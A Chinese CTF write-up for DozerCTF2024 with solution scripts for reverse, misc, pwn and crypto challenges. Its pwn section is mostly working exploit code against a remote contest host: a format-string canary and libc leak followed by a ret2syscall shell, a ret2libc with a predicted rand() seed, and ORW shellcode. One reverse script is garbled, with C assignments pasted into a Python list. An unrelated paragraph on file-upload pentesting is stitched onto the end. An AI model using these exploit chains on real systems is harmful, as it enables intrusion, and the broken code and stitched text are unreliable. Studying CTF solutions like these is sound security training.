DozerCTF2024 WP(不包括域渗透)

队伍名:关注塔菲谢谢喵

比赛总结:拿下一道mid_pwn的一血,还有一道pwn的三血,冲了个荣耀榜第四。感谢队伍的密码✌带我上分,最终排名12(有点菜)

Web方向

队里没有web手,所以爆0

Reverse方向

pppyyy

简单的线性方程组

from gekko import GEKKO

m = GEKKO(remote=False)

nums = [0] * 14
for i in range(len(nums)):
    nums[i] = m.Var()

m.Equations([(((((nums[0] * 2 + nums[1] - 4 - nums[2] * 3 - nums[3] - 3) + nums[4] * 5 + nums[5] * 5 - nums[6] - 3) +
                nums[7] + 2 - nums[8]) + 3 + nums[9] - 3 - nums[10] * 4) + nums[11] * 3 - nums[12] - 2) + nums[
                 13] + 3 == 56, (
                         (((nums[0] + 2 - nums[1] * 5) + nums[2] - 3 - nums[3]) + 5 - nums[4] * 4 - nums[5]) + 5 + nums[
                     6] * 4 + nums[7] * 5 + nums[8] * 3 + nums[9] * 5 - nums[10] - 5 - nums[11] - 2 - nums[12] - 5) +
             nums[13] - 3 == 681, (
                         ((nums[0] * 5 + nums[1] * 3 - nums[2] - 2) + nums[3] * 4 + nums[4] - 3) + nums[5] * 4 + nums[
                     6] * 4 + nums[7] + 3 - nums[8] * 2 - nums[9]) + 3 + nums[10] + 3 - nums[11] * 2 - nums[12] * 3 -
             nums[13] * 2 == 1129, (((((nums[0] * 5 - nums[1] - 2) + nums[2] - 2) + nums[3] + 5 - nums[4]) + 3 + nums[
    5] * 2 + nums[6] + 2 - nums[7] * 4 - nums[8] - 2) + nums[9] + 5 + nums[10] + 4 - nums[11]) + 3 + nums[12] + 3 -
             nums[13] * 5 == 55, ((((nums[0] + 2 - nums[1] * 4 - nums[2] * 3) + nums[3] + 3 + nums[4] * 4 + nums[
    5] * 3 - nums[6]) + 5 + nums[7] - 2 - nums[8]) + 5 + nums[9] * 4 - nums[10] - 2 - nums[11] - 4) + nums[12] * 5 -
             nums[13] - 4 == 673, (((((nums[0] - 5 - nums[1] - 4 - nums[2] - 4 - nums[3]) + 2 + nums[4] * 4 - nums[
    5]) + 4 + nums[6] + 3 + nums[7] + 5 - nums[8] * 5 - nums[9]) + 2 + nums[10] + 2 + nums[11] - 2) + nums[12] * 3 -
                                   nums[13]) + 4 == 249, ((((((nums[0] * 4 + nums[1] - 4) + nums[2] - 5) + nums[3] - 2 -
                                                             nums[4] * 2) + nums[5] + 3 + nums[6] - 3 - nums[7]) + 3 -
                                                           nums[8] * 4 - nums[9] * 3) + nums[10] * 2 + nums[11] * 5 +
                                                          nums[12] - 4) + nums[13] - 4 == 422, ((((((nums[0] * 3 - nums[
    1] - 3 - nums[2] - 3) + nums[3] - 2 - nums[4] - 5) + nums[5] * 2 + nums[6] - 4) + nums[7] - 5) + nums[8] * 5 - nums[
                                                                                                     9] * 3 - nums[
                                                                                                     10]) + 5 - nums[
                                                                                                    11] - 4 - nums[
                                                                                                    12] * 5) + nums[
                 13] - 4 == 49, (((((((nums[0] - 4 - nums[1]) + 3 - nums[2]) + 4 - nums[3] - 4) + nums[4] + 5 - nums[
    5] * 3) + nums[6] + 2 + nums[7] * 4 - nums[8] - 4 - nums[9]) + 3 - nums[10] * 5) + nums[11] * 2 + nums[12] * 3 -
                                 nums[13]) + 2 == 0, (((((((nums[0] - 5 - nums[1]) + 5 - nums[2] - 4) + nums[3] + 3 +
                                                          nums[4] - 2) + nums[5] - 4) + nums[6] * 2 - nums[7] - 4 -
                                                        nums[8] * 4) + nums[9] + 4 + nums[10] * 4 - nums[11]) + 5 -
                                                      nums[12]) + 4 + nums[13] + 4 == 268, ((((((nums[0] - 5 - nums[
    1]) + 3 - nums[2]) + 2 + nums[3] - 4 - nums[4]) + 4 + nums[5] - 5 - nums[6]) + 2 + nums[7] - 4 - nums[8] - 5 - nums[
                                                                                                 9] - 5 - nums[10] - 2 -
                                                                                             nums[11]) + 5 + nums[
                                                                                                12] - 3) + nums[
                 13] + 4 == -162, ((((((((nums[0] + 5 - nums[1]) + 4 + nums[2] * 5 - nums[3] - 3) + nums[4] - 5 - nums[
    5] - 5) + nums[6] + 3 - nums[7] * 5 - nums[8] * 3) + nums[9] - 4) + nums[10] - 2) + nums[11] - 3) + nums[12] - 5) +
             nums[13] + 2 == -2, ((((nums[0] + 4 + nums[1] - 5 - nums[2]) + 3 + nums[3] + 3 - nums[4] - 4 - nums[
    5]) + 3 + nums[6] - 3 - nums[7] - 5 - nums[8]) + 3 + nums[9] - 5 - nums[10] - 2) + nums[11] + 5 + nums[12] * 5 -
             nums[13] - 5 == 433, (((((nums[0] + 4 + nums[1] + 4 + nums[2] + 3 - nums[3] - 2) + nums[4] - 4) + nums[
    5] + 3 - nums[6] - 4 - nums[7] * 2) + nums[8] - 3) + nums[9] + 2 + nums[10] * 3 - nums[11] * 4) + nums[12] + 5 +
             nums[13] * 3 == 515])
m.solve(disp=False)
for i in nums:
    print(chr(int(i.value[0])),end="")

套一下

先看ida:

这里找到了v12的生成算法。

这里是加密算法

把他们进行对比之后带入可以获取到输入字符,最后再进行一次异或即可:

def main():
    byte_7FF766C35620 = [
        0x6F, 0xD8, 0x42, 0x25, 0x52, 0x63, 0x3B, 0x72, 0xBB, 0x07, 0x59, 0x4A,
0xBA, 0xD0, 0xA2, 0xC4,
0x7E, 0x5A, 0x92, 0xD9, 0x55, 0x34, 0x8D, 0x91, 0x58, 0x83, 0x51, 0x85, 0x5F,
0x8E, 0x5D, 0x35,
0x90, 0xCE, 0x1C, 0x7B, 0x30, 0xD4, 0x02, 0xED, 0x9F, 0x60, 0x8C, 0xCA, 0xB5,
0x97, 0x37, 0x53,
0x54, 0x23, 0x82, 0xFD, 0x9E, 0xCB, 0x8B, 0x3F, 0x4F, 0x03, 0x56, 0x27, 0x40,
0x4E, 0xFA, 0xB4,
0xA8, 0x0B, 0x2B, 0x8A, 0x32, 0xEF, 0xB6, 0x65, 0xCC, 0x18, 0x49, 0x5C, 0x70,
0x0D, 0x48, 0xF5,
0x86, 0x89, 0x75, 0x0C, 0x43, 0x68, 0x12, 0xC9, 0xBD, 0xF9, 0xC3, 0x80, 0x57,
0xDE, 0xD1, 0xE1,
0x88, 0x74, 0x22, 0x7D, 0x93, 0x17, 0xEE, 0x81, 0x33, 0x87, 0x6A, 0xDD, 0xD2,
0x67, 0xC0, 0x73,
0xE6, 0x6D, 0xB1, 0x78, 0x64, 0x79, 0x7C, 0x36, 0x50, 0xB8, 0x9A, 0x05, 0xB7,
0xEA, 0xF3, 0x11,
0xAE, 0x4D, 0x5B, 0x47, 0x2C, 0x66, 0xA3, 0x21, 0xAF, 0xFF, 0xA4, 0x08, 0x2D,
0xE3, 0xE0, 0x94,
0x9C, 0x0A, 0x09, 0xB9, 0x0E, 0x95, 0x5E, 0x9B, 0x3E, 0x29, 0xF7, 0xD6, 0x46,
0x10, 0x99, 0x1B,
0x44, 0x2F, 0x16, 0xE2, 0x3C, 0xA9, 0x96, 0xAC, 0xE5, 0x4C, 0xEB, 0xDB, 0x7A,
0xA6, 0x6B, 0x2E,
0xBE, 0x98, 0x01, 0x0F, 0xCF, 0xF2, 0x6E, 0xD5, 0x31, 0x69, 0xF6, 0x45, 0xB2,
0xBF, 0x7F, 0xA1,
0xE7, 0xC7, 0xF8, 0xC1, 0xF1, 0xE9, 0x24, 0xA7, 0xFB, 0x84, 0x71, 0x62, 0x3D,
0xAB, 0xA5, 0xAA,
0x26, 0xBC, 0x2A, 0xDC, 0xAD, 0x14, 0xC8, 0x00, 0x1D, 0x76, 0xA0, 0xE8, 0xC5,
0xDA, 0xDF, 0xC6,
0xB3, 0x77, 0xD7, 0xF0, 0x19, 0x13, 0x04, 0x41, 0x4B, 0x61, 0xB0, 0xF4, 0xCD,
0xFE, 0x8F, 0xD3,
0x1A, 0x15, 0xC2, 0x1F, 0x28, 0x6C, 0x1E, 0xE4, 0x06, 0x3A, 0xEC, 0x39, 0x38,
0x9D, 0xFC, 0x20

    ]

    v10 = [
        v10[0] = 21;
v10[1] = -42;
v10[2] = 3;
v10[3] = 8;
v10[4] = 122;
v10[5] = -123;
v10[6] = 19;
v10[7] = -2;
v10[8] = 64;
v10[9] = 51;
v10[10] = 79;
v10[11] = 6;
v10[12] = -70;
v10[13] = 89;
v10[14] = -71;
v10[15] = -68;
v10[16] = 127;
v10[17] = 43;
v10[18] = -79;
v10[19] = -108;
v10[20] = -36;
v10[21] = 40;
v10[22] = 109;
v10[23] = -33;
v10[24] = -114;
v10[25] = -91;
v10[26] = -7;
v10[27] = -105;
v10[28] = 120;
v10[29] = -106;
v10[30] = 6;
v10[31] = -82;
v10[32] = 17;
v10[33] = 0;

    ]

    v3, v4, v6 = 0, 0, 0
    for i in range(34):
        v3 = (v3 + 1) % 256
        v4 = (byte_7FF766C35620[v3] + v4) % 256
        v6 = byte_7FF766C35620[v3]
        byte_7FF766C35620[v3] = byte_7FF766C35620[v4]
        byte_7FF766C35620[v4] = v6
        v10[i] ^= byte_7FF766C35620[(byte_7FF766C35620[v4] + byte_7FF766C35620[v3]) % 256]

    print("".join(chr(x) for x in v10))

    data = [
        0x3D, 0x1F, 0x0D, 0x07, 0x04, 0x09, 0x13, 0x15, 0x0F, 0xF6, 0x01, 0x4E,
0x07, 0x29, 0x4D, 0x09,
0x30, 0x08, 0xB5, 0x13, 0x11, 0xE4, 0x0C, 0xD5, 0xEB, 0x4D, 0xE3, 0x1D,
0xA0, 0x03
    ]

    for x in range(30):
        data[x] ^= x + v10[x]

    print("".join(chr(x) for x in data))

if __name__ == "__main__":
    main()

Misc方向

very_long_access:

sort时间排序就能找到了

se

首先使用 slienteye 工具 File 打开音频,点击 decode 解密

解压zip,然后发现解压要密码。

再听了一下音频,感觉像是电话按键(即dtmf)的声音,然后找到了dtmp分析工具

得到解压密码962764453,解压得到

shuiyin

解压后发现flag(官方的送分题)

Pwn方向

Pwn

保护全开,格式化字符串泄露canary和栈地址,用ret2syscall打,远程能打通,不知道为啥本地打不通。

from pwn import *
from ctypes import *
from LibcSearcher import *
p = remote('139.196.237.232',32811)
#p = process("./patch")
elf = ELF('./patch')
libc = ELF('./libc.so.6')
context.clear(arch='amd64',os = 'linux',log_level = 'debug')

r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))
addr4  = lambda n    : u32(p.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(p.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(p.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(p.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))

#gdb.attach(p)


sla(b'username?\n',b'%37$p-%35$p-%34$p')
p.recvuntil(b'Hello ')
# libc_base = int(p.recv(14),16) - 0x21c87
libc_base = int(p.recv(14),16) - 0x21c87
log.info('libc_base:'+hex(libc_base))
p.recvuntil(b'-')
canary = int(p.recv(18),16)
log.info('canary:'+hex(canary))
p.recvuntil(b'-')
stack_addr = int(rc(14),16)-0x1b0
log.info('stack_addr:'+hex(stack_addr))
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x2164f
pop_rsi = libc_base + 0x23a6a
pop_rdx = libc_base + 0x1b96
pop_rax = libc_base + 0x1b500
ret = libc_base + 0x756
syscall = libc_base + 0x2743
payload = b'/bin/sh\x00' + b'a'*(0xc8-8) + p64(canary) + b'a'*8 + p64(pop_rax) + p64(0x3b) + p64(pop_rdi) + p64(stack_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)

pause()
p.send(payload)
p.interactive()

ez_pwn

随机数比较,然后打ret2libc就可以

from pwn import *
from ctypes import *
from LibcSearcher import *
p = remote('139.196.237.232',32836)
#p = process("./vuln")
# elf = ELF('./vuln')
libc1 = ELF('./libc.so.6')
context.clear(arch='amd64',os = 'linux',log_level = 'debug')

r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))
addr4  = lambda n    : u32(p.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(p.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(p.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(p.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
elf = ELF('./vuln')
libc = CDLL('libc.so.6')
libc.srand(libc.time(0))
payload1 = libc.rand()
sa(b'account:',b'1')
sla(b'password:',str(payload1))


pop_rdi =  0x4014d3
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = b'a'*0x38 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(elf.symbols['main'])
p.sendafter(b'something\n',payload)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts_addr:",hex(puts_addr))
libc_base = puts_addr - libc1.symbols['puts']
system_adress = libc1.symbols['system'] + libc_base
binsh = next(libc1.search(b'/bin/sh')) + libc_base


libc.srand(libc.time(0))
payload1 = libc.rand()
sa(b'account:',b'1')
sla(b'password:',str(payload1))


payload2 = b'a'*0x38 + p64(0x40101a) + p64(pop_rdi) + p64(binsh) + p64(system_adress)
sa(b'something\n',payload2)


shell()

mid_pwn

orw,只能写结构体调用readv和writev

from pwn import *
from ctypes import *
from LibcSearcher import *
p = remote('139.196.237.232',32868)
#p = process("./pwn1")
elf = ELF('./vuln')
libc = ELF('libc.so.6')
context.clear(arch='amd64',os = 'linux',log_level = 'debug')

r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))
addr4  = lambda n    : u32(p.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(p.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(p.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(p.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))

bss_addr = 0x403360
shellcode = shellcraft.openat(-100,'/flag', 'O_RDONLY')
read = '''
         push 3
         pop rdi
         push 1
         pop rdx
         push 19
         pop rax
         lea rsi, [rsp + 0x10]
         syscall
'''
write = '''
         push 1
         pop rdi
         push 1
         pop rdx
         push 20
         pop rax
         lea rsi, [rsp + 0x10]
         syscall
'''
payload = p64(bss_addr) + p64(0x100)
payload = payload.ljust(0xe7,b'a')
payload += asm(shellcode) + asm(read) + asm(write)
sla(b'me\n',payload)
shell()

Crypto方向

让我摸一会鱼吧!

连接nc,出现以下页面

1和2分别是生成密钥和生成密文操作

题目说了RSA的同态性,其实就是解出来的明文依次相乘。

p和q都没有给,直接分解也不行,索性试了一下开根取相邻素数,果然可行。

from Crypto.Util.number import *
from sympy import *
import gmpy2
n = 13019608371506351088592089663384095533588515824164644958021585879736811645775036763454416848400327912949952782481063734854880832433375959009044626184933830169710499088955085695210103109516457572450324853743217673911210218518032178266501937603853300718060073523574905681127450287040875943802558069449116824559290706337870377389336882561371502010011778919187267456242922063895951077777737587142692762054437652486084168788914289166889818303393370310034035070529757030529328730603174738681467138001180567578885794939134561527655420875890096990237038343707675818627620358813268431669067639649516598820307401778953793440149
e = 65537
q = nextprime(gmpy2.iroot(n,2)[0]) #
p = n // q
d = gmpy2.invert(e,(p-1)*(q-1))
c1 = 5431174937160533308321314909536046332581668570481940954363805368046495007077704676249271519839231277787722145623532552080043773317420188739973861855333397582075991874291829868286823478242940994617950241439113961829330188916878641212078726416756132870670007180430135121770553583950504566098184486366388684180960792488650103508210545916521048899816959991281781686813242113683656387916473772540301115355554697245001128643674986536895994473417226238451785479037883189518333592826676132910018899131357732406933581997513919527414510958347179408723296891328531549614518675322473899102487823122622363751672186807323836600037
c2 = 2641320856244040497424753925954558269764086514990052581195443362440815627142229326475580091522937852274630678788484030357953518634288716813638238165116035955750868325886202899029359205729781224584529885991230951904699600927889289848365055496334258971553503321675669088865507870237673210974859634773118495921029813910700362742617274046587872157169771460850987670493392178443116728939017017288931412340396342947551236924282540943331859055005079501708493018915024716171598018851787336221724628349563323231744012745234478870322358398869451860949744150511648551727486286899318148179283607849665427294231304975556161250925
c3 = 11502776223239488204226022014495289338223991026125479745166133356992292037983446733273322945263111929089935045841944564413633004613922982477326157928836228976216511502885305146970891649915664653484269199977174751431860687473417509455745772058246592990953256318953517509687163120763019196608994609256780354999638064609190003060804589790703876662862916899755681814244978297677452165880311291099530369308815639428220514788926425862375292098701834795825919527221453296533517256427734865331672647736247798380148549685131186483273884254985024310454566475791461302220291788370738271480541223288569254502107918755308823487775
c4 = 8111192961351100814062226283714477713676936480970495563014469036353291073476215731974241866197461906453653998251630955608088124235275153625429011305418036291088333591405644571457607599227902742410913059139831935286982694123575408127352842733871906827889223208513246064795539159626516355823568898017685912506820166778330467787533055824427361191737800392789016422236300120510267382404848218335274086589937377028473517968528187881950098485922341640704255820411817950211542149617817796225975558214616929081428605797303009345206674314797122411915061622686572175691693427525445885483902677699654509548734305750873091605362
c5 = 4799688876086804566563998015003920685856775098460942690703142307243167398890593427143170632734212926485626481056212634667143963171534260969669791202793295911962061525251707780972061442691655317904082998244119587583063048325519884818248090153578637319017654674247579146549855552683198597182104138411504540774047967320672041254571941924185450014801717427779689111404851661281218597218911075174839255339716519606639029394539716891106020552663999708284787580159310779866012682403909222513765091250983733209615693075220241993023495851440468978799363403947558035306629812585717855429454870124961296879659740080814040878503
m1 = pow(c1,d,n)
m2 = pow(c2,d,n)
m3 = pow(c3,d,n)
m4 = pow(c4,d,n)
m5 = pow(c5,d,n)
m = m1 * m2 * m3 * m4 * m5
print(long_to_bytes(m))
#b'flag{d855ac619827b58d3ba90e74f326c4c2}'

青将军如是说

from Crypto.Util.number import *
from sympy import *
from hashlib import sha256
from pwn import *

#连接sh
sh = remote("150.158.113.242", "65100")
sh.sendlineafter(b"your choice:", b'1')

#生成公钥对
key = sh.recvuntil(b"** Give ")
key = key.split(b"\n")
n,e = int(key[1][2:]),int(key[2][2:])

#定义参数
s_list = []
t_list = []
digest_list = []

#生成签名
for i in range(40):
    print("**")
    msg = str(i).encode("utf-8") * 8
    digest = bytes_to_long(sha256(msg).digest())
    digest_list.append(digest)
    sh.sendlineafter(b"your choice: ", b"3")
    sh.sendlineafter(b"* Please input your divination to sign:", msg)
    sh.recvuntil(b"* Your signature is:")
    key = sh.recvuntil(b"** Give ")
    key = key.split(b",")
    s_list.append(int(key[0][2:])),t_list.append(int(key[1][1:-10]))

#构造格得到p,q
x0 = []
for c in s_list:
    x0.append(-pow(c, e, n))
x0 += [0,2^230]
x1 = digest_list + [1,0]

x = []
for i in range(40):
    a = [0] * i + [n] + [0] * (39-i) + [0] * 2
    x.append(a)
x.append(x1),x.append(x0)

Lattice = Matrix(ZZ,x)
Lattice = Lattice.LLL()
pq = Lattice[0, -2]
factor = var('p q')
eq1 = p * q == n
eq2 = p + q == pq
res = solve([eq1, eq2], p, q)[0]
p = int(str(res[0]).split('==')[1].strip())
q = int(str(res[1]).split('==')[1].strip())

#求出私钥
phi = (p - 1) * (q - 1)
d = inverse(e,phi)

#验证签名
h = bytes_to_long(sha256(b"The signature is fun").digest())
r = getPrime(230)
s = int(pow(( h * (p + q) - r)%n, d, n))
t = int(pow(r, e, n))
sh.sendlineafter(b"* Please input your signature to verify:", str(s).encode("utf-8") + b"," + str(t).encode("utf-8"))
sh.sendlineafter(b"* Please input your divination:", b"The signature is fun")
key = sh.recvuntil(b"** Give ")
print(key)

#flag{ae53eac8863ec0273819e71885b0ee8d}

  • 6
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
有道云笔记是一款文件管理和云存储平台,用户可以将各种文件上传至云端进行保存和管理。针对有道云笔记的渗透测试的文件上传核题,主要是测试目标是否存在文件上传漏洞。 文件上传漏洞是指攻击者通过上传恶意文件或者利用上传功能绕过限制,成功在目标服务器上执行任意代码或者获取未授权的访问权限。攻击者可通过上传特定类型的文件,利用后台执行逻辑漏洞或者文件解析漏洞,从而实现对目标系统的攻击或控制。 针对有道云笔记的文件上传漏洞,常见的测试方法包括: 1. 尝试上传各种类型的文件:测试能否上传系统可执行文件、脚本文件或者危险的文件类型。 2. 绕过后台验证:尝试修改请求报文、绕过文件类型检查、篡改上传文件路径等,测试服务器是否能正确地执行上传操作的检查。 3. 文件解析漏洞测试:测试上传的文件是否能够被服务器直接解析,并且触发对应的解析漏洞。 4. 文件重命名与遍历:测试能否修改上传文件的文件名,并尝试通过../等目录遍历操作访问到其他敏感文件。 针对发现的漏洞和问题,需要将测试结果整理成详细的渗透测试报告,包括漏洞描述、危害程度评估和修复建议等。然后与有道云笔记的开发团队和管理员进行沟通,提供测试结果和修复建议,并跟踪漏洞修复进展。 及时发现和修复文件上传漏洞,对于保护用户数据和防止潜在的攻击十分重要。因此,有道云笔记应该充分重视渗透测试的文件上传核题,加强安全意识和漏洞修复的流程,确保用户数据的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ra1nning

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值